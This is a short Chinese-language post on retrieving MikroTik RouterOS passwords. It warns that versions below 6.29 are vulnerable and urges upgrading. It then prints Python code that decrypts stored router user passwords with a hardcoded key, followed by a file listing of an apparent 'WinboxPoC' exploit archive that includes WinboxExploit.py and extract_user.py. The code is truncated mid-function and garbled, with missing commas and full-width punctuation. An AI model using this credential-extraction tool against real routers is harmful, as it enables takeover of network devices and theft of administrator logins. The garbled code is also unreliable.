Mikrotik密码获取

6.29以下版本ROS全部沦陷，测试发现自己也是秒破，建议大家尽快升级ROS版本

#!/usr/bin/env python3

import sys hashlib

def decrypt_password（user pass_enc）:
    key = hashlib.md5（user + b“283i4jfkai3389“）.digest（）

    passw = ““
    for i in range（0 len（pass_enc））:
        passw += chr（pass_enc[i] ^ key[i % len（key）]）
    
    return passw.split（“\x00“）[0]

def extract_user_pass_from_entry（entry）:
    user_data = entry.split（b“\x01\x00\x00\x21“）[1]
    pass_data = entry.split（b“\x11\x00\x00\x21“）[1]

    user_len = user_data[0]
    pass_len = pass_data[0]

    username = user_data[1:1 + user_len]
    password = pass_data[1:1 + pass_len]

    return username password

def get_pair（data）:

    user_list = []

    entries = data.split（b“M2“）[1:]
    for entry in entries:
        try:
            user pass_encrypted = extract_user_pass_from_entry（entry）
        

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2018-08-04 13:28  WinboxPoC-master\
     文件        1203  2018-08-04 13:28  WinboxPoC-master\.gitignore
     文件        1118  2018-08-04 13:28  WinboxPoC-master\LICENSE
     文件         991  2018-08-04 13:28  WinboxPoC-master\MACServerDiscover.py
     文件        5247  2018-08-04 13:28  WinboxPoC-master\MACServerExploit.py
     文件        1198  2018-08-04 13:28  WinboxPoC-master\README.md
     文件        1799  2018-08-04 13:28  WinboxPoC-master\WinboxExploit.py
     文件        1518  2018-08-04 13:28  WinboxPoC-master\extract_user.py